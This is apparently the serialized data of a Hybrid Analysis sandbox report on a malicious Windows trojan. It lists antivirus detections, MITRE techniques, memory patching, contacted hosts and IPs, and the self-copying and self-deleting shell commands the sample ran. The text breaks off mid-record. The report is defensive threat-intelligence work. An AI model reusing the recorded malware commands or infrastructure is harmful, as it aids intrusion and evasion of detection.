24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4c1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 73d65cd0b513… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 73d65cd0b513…. Malware family: Trojan.Generic. Threat score 100/100. 18/27 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8"],"about":{"@type":"SoftwareApplication","name":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe","applicationCategory":["peexe","executable"],"identifier":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":18,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T462,"taskkill.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "taskkill.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "taskkill.exe" touched "PSFactoryBuffer" (Path: "HKCR\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}") "taskkill.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "taskkill.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "taskkill.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "taskkill.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "taskkill.exe" touched "WbemStatusCode" (Path: "HKCU\WOW6432NODE\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TREATAS")26:T51b,".exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" ".exe" touched file "C:\Windows\AppPatch\sysmain.sdb" ".exe" touched file "C:\Windows\SysWOW64\cmd.exe" ".exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" ".exe" touched file "C:\Windows\SysWOW64\notepad.exe" ".exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "cmd.exe" touched file "C:\Windows\SysWOW64\en-US\cmd.exe.mui" "sogoupin.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "sogoupin.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "sogoupin.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\counters.dat" "cmd.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "cmd.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "cmd.exe" touched file "C:\Windows\SysWOW64\taskkill.exe" "taskkill.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "taskkill.exe" touched file "C:\Windows\SysWOW64\en-US\taskkill.exe.mui" "taskkill.exe" touched file "C:\Windows\SysWOW64\en-US\KernelBase.dll.mui"27:T9e8,".exe" wrote bytes "d83a4275" to virtual address "0x754301E0" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b4364275" to virtual address "0x75430200" (part of module "SSPICLI.DLL") ".exe" wrote bytes "6012c673" to virtual address "0x76E1E324" (part of module "WININET.DLL") ".exe" wrote bytes "b4360200" to virtual address "0x75424EA4" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b4364275" to virtual address "0x754301E4" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b4360200" to virtual address "0x75424D68" (part of module "SSPICLI.DLL") ".exe" wrote bytes "71112f017a3b2e01ab8b02007f950200fc8c0200729602006cc805001ecd2b017d262b01" to virtual address "0x768F07E4" (part of module "USER32.DLL") ".exe" wrote bytes "c0dfb8771cf9b777ccf8b7770d64b97700000000c0111b7700000000fc3e1b7700000000e0131b77000000009457b47625e0b877c6e0b87700000000bc6ab37600000000cf311b77000000009319b476000000002c321b7700000000" to virtual address "0x76501000" (part of module "NSI.DLL") ".exe" wrote bytes "0efcbb7781edba77ae86b977c6e0b877effdbb772d16ba77c0fcb777da8fc2776014bc77478db977a8e2b8776089b97700000000ad3716778b2d1677b641167700000000" to virtual address "0x73B51000" (part of module "WSHIP6.DLL") ".exe" wrote bytes "b8c015c673ffe0" to virtual address "0x754236B4" (part of module "SSPICLI.DLL") ".exe" wrote bytes "68130000" to virtual address "0x77161680" (part of module "WS2_32.DLL") ".exe" wrote bytes "d83a4275" to virtual address "0x75430274" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b84013c673ffe0" to virtual address "0x75423AD8" (part of module "SSPICLI.DLL") ".exe" wrote bytes "d83a0200" to virtual address "0x75424E38" (part of module "SSPICLI.DLL") ".exe" wrote bytes "d83a0200" to virtual address "0x75424D78" (part of module "SSPICLI.DLL") ".exe" wrote bytes "d83a4275" to virtual address "0x75430258" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b4364275" to virtual address "0x75430278" (part of module "SSPICLI.DLL") ".exe" wrote bytes "b83012c673ffe0" to virtual address "0x77161368" (part of module "WS2_32.DLL") ".exe" wrote bytes "b4364275" to virtual address "0x7543025C" (part of module "SSPICLI.DLL") ".exe" wrote bytes "d83a4275" to virtual address "0x754301FC" (part of module "SSPICLI.DLL")28:T6ac,Found malicious artifacts related to "119.207.79.31": ... URL: http://asheater.co.kr/ (AV positives: 1/71 scanned on 08/03/2019 10:54:15) URL: http://www.asheater.co.kr/skin15/css/caret.php (AV positives: 2/71 scanned on 08/02/2019 22:28:24) URL: http://youngs.dgweb.kr/ (AV positives: 3/70 scanned on 06/09/2019 16:57:13) URL: http://youngs.dgweb.kr/skin15/ (AV positives: 4/70 scanned on 05/14/2019 13:56:32) URL: http://youngs.dgweb.kr/skin15/index.php (AV positives: 3/69 scanned on 05/06/2019 07:35:18) File SHA256: 90f0582453f49d3b38da03b289d0ffcad4f691ab89f6acb922511e081d472667 (Date: 08/03/2019 22:01:17) File SHA256: 9a316c168e3bc0f27a6884e44f5beff0587debcdcea5a662783a856d4a244437 (Date: 08/03/2019 08:38:30) File SHA256: b5453db394ce8c22330fe620ab62a8a40ab491992e93d7f495d0370b93bf9688 (AV positives: 54/70 scanned on 08/02/2019 23:39:35) File SHA256: 1958b75e2ef787fdb9938053f117da9ba9866509000af547e700dfb6a806d721 (AV positives: 19/67 scanned on 08/02/2019 15:04:54) File SHA256: fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625c (AV positives: 52/69 scanned on 07/03/2019 08:26:22) File SHA256: 73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8 (AV positives: 54/71 scanned on 05/22/2019 04:10:25) File SHA256: 5ffb2fdf98077d172d9ce3e6f7b92f0a52d92bfefeeb0ad6dd559fd037febc76 (Date: 05/17/2019 00:31:47) File SHA256: ad3fada660f40b5d3ce2c6187dffc07507e7461a3d3ac249fbb6850e6028d517 (Date: 05/17/2019 00:21:36) File SHA256: 3d4c14db6a6126ecbe8cdd1eea6337b2f3766579062cec6e8331f47f028211ce (Date: 05/02/2019 16:22:31) File SHA256: d057088d0de3d920ea0939217c756274018b6e89cbfc74f66f50a9d27a384b09 (AV positives: 46/70 scanned on 02/19/2019 14:16:55)29:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790370363831,"unified_at":"2026-09-25T21:06:03.831Z","metadata":{"hashes":{"sha256":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8","sha1":"013bad39d509e161146cfe687cc0ae9d753de51e","md5":"d4e93d7357140c9026845f31eeea60f4","sha512":"52c727da0f48f34aac3d58c865324c7054fef4debbf53f55ddf6bb285d5fb4fb92377d49a0d797d3e3074e985fbc1885c2b1b368e1950052a2ab2716fdb71cfe","ssdeep":"3072:QZGugetWFLABLXzRMJZUrjVUpozA0lzcmq:Qgv8BLtMfQhUpozblf","ssdeep_chunks":["3072:QZGuget","3072:ZGugetW","3072:GugetWF","3072:ugetWFL","3072:getWFLA","3072:etWFLAB","3072:tWFLABL","3072:WFLABLX","3072:FLABLXz","3072:LABLXzR","3072:ABLXzRM","3072:BLXzRMJ","3072:LXzRMJZ","3072:XzRMJZU","3072:zRMJZUr","3072:RMJZUrj","3072:MJZUrjV","3072:JZUrjVU","3072:ZUrjVUp","3072:UrjVUpo","3072:rjVUpoz","3072:jVUpozA","3072:VUpozA0","3072:UpozA0l","3072:pozA0lz","3072:ozA0lzc","3072:zA0lzcm","3072:A0lzcmq","6144:QZGuget","6144:ZGugetW","6144:GugetWF","6144:ugetWFL","6144:getWFLA","6144:etWFLAB","6144:tWFLABL","6144:WFLABLX","6144:FLABLXz","6144:LABLXzR","6144:ABLXzRM","6144:BLXzRMJ","6144:LXzRMJZ","6144:XzRMJZU","6144:zRMJZUr","6144:RMJZUrj","6144:MJZUrjV","6144:JZUrjVU","6144:ZUrjVUp","6144:UrjVUpo","6144:rjVUpoz","6144:jVUpozA","6144:VUpozA0","6144:UpozA0l","6144:pozA0lz","6144:ozA0lzc","6144:zA0lzcm","6144:A0lzcmq","3072:Qgv8BLt","3072:gv8BLtM","3072:v8BLtMf","3072:8BLtMfQ","3072:BLtMfQh","3072:LtMfQhU","3072:tMfQhUp","3072:MfQhUpo","3072:fQhUpoz","3072:QhUpozb","3072:hUpozbl","3072:Upozblf"],"imphash":"c290eae975dcbdb95958b94f957513cd"},"file_info":{"file_name":"73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":110592,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1565012793000,"last_seen":1632214807000,"last_multi_scan":1632214807000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["ricochetchollima","targeted"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":9},"sandbox_signatures":{"informative_count":19,"suspicious_count":15,"malicious_count":11,"total":45},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Swisyn.mCMf","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"Ahnlab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Crypt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.PoorWeb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.ZPACK.Gen8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"BitDefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Graftor.867361","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Graftor.867361 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/TrojanDropper.Agent.SHB trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"Ikarus","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Obfuscated","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.PoorWeb.h","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.PoorWeb.foyznc","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Threat-Generic://Malicious-Confidence_97","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Trojan Horse","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Trojan-Dropper/W32.Agent.174080.AT","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"TrendMicro","success":true,"verdict":"malicious","threat_name":"BKDR_PO.9A245579","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"TrendMicro House Call","success":true,"verdict":"malicious","threat_name":"BKDR_PO.9A245579","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.PoorWeb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xviruspersonalguard":{"name":"Xvirus Personal Guard","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Start Folder","attack_id":"T1060","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1060","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"suspicious","value":"Reads the active computer name"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"suspicious","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","identifiers":[{"type":"malicious","value":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"tactic":"Exfiltration","technique":"Data Compressed","attack_id":"T1002","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"taskkill.exe\" at 00021346-00003056-00000033-15472516225","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00021021-00002304-62436-173-00402A0C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00021021-00002304-62436-208-00405235\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00021021-00002304-62436-1389-00408DE8","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"rQuf\" is zero\n Raw size of \"L7U9\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00021021-00002304-62436-591-00409656","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00021021-00002304-62436-279-004015E0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"EnumSystemLocalesA@KERNEL32.DLL at 00021021-00002304-62436-419-0040C78E\n EnumSystemLocalesA@KERNEL32.DLL at 00021021-00002304-62436-420-0040C752\n EnumSystemLocalesA@KERNEL32.DLL at 00021021-00002304-62436-422-0040C6EB\n GetUserDefaultLCID@KERNEL32.DLL at 00021021-00002304-62436-1352-0040C223\n EnumSystemLocalesA@KERNEL32.DLL at 00021021-00002304-62436-1431-0040C6BF","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"youngs.dgweb.kr\"\n \"youngs.dgweb.kr:80\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"119.207.79.31:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"F:\\))PROG\\ie\\test.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$25","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /c copy>\"%PUBLIC%\\sogoupin.exe\"\" on 2019-8-5.15:40:11.276\n \"/c \"dir /s %windir%\\system32\\*.sys&&taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\" /f & dir /a /s %windir%\\system32\\*.msc && del \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8.exe\"\"\" on 2019-8-5.15:40:11.589","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"cmd /c copy>\"%PUBLIC%\\sogoupin.exe\"\" (UID: 00021201-00001676)\n Spawned process \"sogoupin.exe\" (UID: 00021214-00004212)\n Spawned process \"cmd.exe\" with commandline \"/c \"dir /s %windir%\\system32\\*.sys&&taskkill /im \"C:\\73d65cd0b51 ...\" (UID: 00021217-00004204)\n Spawned process \"taskkill.exe\" with commandline \"taskkill /im \"C:\\73d65cd0b513cadaaa76b559ada28996eb06b68954538f ...\" (UID: 00021346-00003056)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5d4831e90288386f33929b6c"},{"report_type":"sandbox","report_id":"5d4831ec038838611c929974"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"cmd /c copy>\"%PUBLIC%\\sogoupin.exe\"\" (UID: 00021201-00001676)\n Spawned process \"sogoupin.exe\" (UID: 00021214-00004212)\n Spawned process \"cmd.exe\" with commandline \"/c \"dir /s %windir%\\system32\\*.sys&&taskkill /im 